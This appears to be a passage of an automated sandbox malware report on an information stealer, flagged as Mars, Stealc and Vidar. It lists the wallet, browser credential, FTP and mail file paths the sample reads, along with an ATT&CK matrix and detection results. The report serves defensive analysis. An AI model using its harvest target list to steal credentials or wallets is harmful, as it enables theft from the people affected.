Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1433619231.0000000000968000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1436568097.0000000001B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2340, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.file.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2340, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1433619231.0000000000921000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2340, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	46%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	0%	ReversingLabs

